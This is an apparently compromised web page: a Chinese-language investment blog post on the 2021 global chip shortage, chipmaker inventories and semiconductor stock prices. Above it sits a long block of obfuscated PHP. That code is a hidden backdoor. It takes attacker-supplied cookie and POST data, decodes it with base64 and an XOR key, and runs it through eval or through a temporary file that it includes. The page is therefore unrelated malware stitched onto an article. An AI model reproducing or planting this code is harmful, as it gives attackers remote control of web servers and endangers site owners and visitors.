$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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芯片真的有那么缺?看库存就知道了 - Sharix

芯片真的有那么缺?看库存就知道了

今天笔者和大家探讨久违的科技领域,记得上次笔者讨论科技课题的时候是关于中美科技战和摩尔定律的发展,大家可以点击回之前的文章看看。那么今天笔者就带大家了解,在全球芯片短缺加剧的背景下科技股还能走多远,而大马目前正在面对的疫情又如何影响着全球的产业链。

疫情是这场芯片荒的始作俑者。根据高盛的研究报告指出,全球有多达169个行业在一定程度上受到了芯片短缺的冲击,包括从消费电子、钢铁产品、混凝土生产到空调制造、啤酒生产等。自去年末出现的芯片荒也导致许多车企纷纷下调产能。除了对市场供需错误的判断,车企也遭到天灾而导致供应链中断。而东南亚的疫情复发也加剧芯片短缺。

Auto Forecast Solutions的数据显示截至8月29日,全球因芯片短缺导致的汽车减产已达688.7万辆,而预计今年全球汽车减产可能超过810.7万辆。那么,芯片到底在汽车行业扮演着什么样的角色?

汽车芯片大致上可以分成三大类,主要有负责算力和处理(用于自动驾驶感知和融合的人工智能芯片和用于发动机、底盘、车身控制的传统电子控制单元MCU);负责功率转换(电子装置电能转换与电路控制的核心);和传感类芯片(用于自动驾驶各种雷达,以及气囊、胎压检测)。根据Strategy Analytics的数据,功率半导体的使用量在纯电动车型中占比高达55%,而MCU及传感器占比分别为11% 及7%。

目前,传统内燃汽车所需的芯片数量大约在500至600个。但随着自动驾驶和新能源汽车的发明,现在的芯片数量大约是1,000至1,200个,越高端的智能车所需的芯片数量也越多。从应用的角度,汽车上小到胎压监测系统、摄像头,大到整车控制器、自动驾驶域控制器都离不开芯片。

但是,大部分汽车所欠缺的芯片都是属于成熟晶圆工艺生产的器件,而全球200mm晶圆厂数量的限制和产能不足是导致芯片短缺的主要原因。去年的疫情迫使人们在家上班和上学,从而刺激了电脑和消费电子产品的极大需求。而这些产品对芯片的消耗抢夺了汽车电子的产能,造成汽车厂商因缺芯而停产。

200mm晶圆厂可以生产汽车所需的芯片如模拟芯片、普通逻辑器件、MCU等微处理芯片、存储器、MEMS和传感器、光电器件,以及功率器件等。由于这类型的芯片已经进入成熟制程,所生产的芯片售价也比较便宜,因此许多芯片厂商都不愿意投入更多资金进行生产,而目前200mm晶圆厂产能也已经饱和。

另一边厢,身为全球半导体第七大出口国的大马拥有超过50家大型半导体公司,其中大多数是跨国公司,包括AMD、恩智浦、ASE、英飞凌、意法半导体、英特尔、瑞萨、德州仪器和日月光等。相对其他东南亚国家,马来西亚在全球半导体封测市场上一直就有其独特的地位。

但是,大马疫情肆虐及政局动荡导致汽车半导体产业链的供应紧张,随着全球化的程度越来越高,反复无常的缺芯潮让大马成为汽车业关注的焦点。一些半导体芯片厂商也以原料成本上涨及产品生产周期变长为借口开始推动涨价。恩智浦、瑞萨电子等多家芯片厂商已陆续上调了汽车芯片的价格。

然而,目前的芯片真的有那么缺?到底供给能不能赶上需求?笔者整理了各大半导体的库存资料给大家参考。

上图最新数据显示,全球12家领先的芯片制造商的总库存在最新季度创下US$61 billion的历史新高,与5个季度前相比(大约疫情爆发前)平均提高了27.6%。全球半导体厂商为了解决供应短缺,正在迅速推进增产准备工作。而台积电、英特尔、三星电子、美光科技、SK海力士、维腾电子、德州仪器、英飞凌科技和意法半导体总库存目前处于历史高位,原材料在总库存中的比例截至三月已经超过24%。相反的,汽车芯片制造商如瑞撒电子和恩智浦的库存反而下滑,形成明显的对比。

但是,不断增加的库存未必能准确反映实际的芯片需求。许多汽车制造商正在从之前的准时制战略,即在尽可能短的时间内保持尽可能少的零部件库存,转变为保持备用库存,以应对供应链中断。而这不只发生在汽车芯片,也发生在其他的半导体芯片。除了需求旺盛,笔者认为更多的是恐慌的心里造成重复下单,甚至是三倍下单。

而摩根士丹利最近也下调了包括SK海力士、三星和美光在内的核心半导体公司评级,警告DRAM行业凛冬将至,并预计该行业将在2021年第四季度见顶。也有研究机构表示在2022年上半年,存储芯片的供应可能会超过需求,从而导致价格下跌。

其实这些行情都能在各大半导体场上的股价看出个端倪。全球最大的晶圆厂台积电的股价从顶峰的NTD679回调了11.6% 至NTD600,而SK海力士和三星电子也分别在今年一月见顶,截至目前回调了28.9% 及20.2%。虽然目前许多新闻头条都在放大芯片短缺的新闻,但是股价永远都走在最前端,而市场也已经察觉这波行情到了在明年很可能会结束。

根据国际半导体产业协会发布的世界晶圆厂预测报告,今年全球半导体制造商将开始建设19座大容量晶圆厂,而明年全球将再增加10座晶圆厂。也就是说当供给增加,半导体的价格届时也会受到承压。虽然汽车电子化、5G应用、物联网等趋势在长期会带动电子装置半导体含量的增加,但在短期供给需求所造成的波动是无可避免,这是投资者必须要知道的。

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